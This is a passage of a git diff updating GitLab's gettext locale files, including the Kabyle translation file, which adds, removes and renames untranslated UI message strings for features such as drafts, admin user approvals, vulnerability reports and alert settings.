msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
index d1df1839e05..0af4b0a73d4 100644
--- a/locale/kab/gitlab.po
+++ b/locale/kab/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: kab\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:51\n"
+"PO-Revision-Date: 2020-12-03 08:20\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
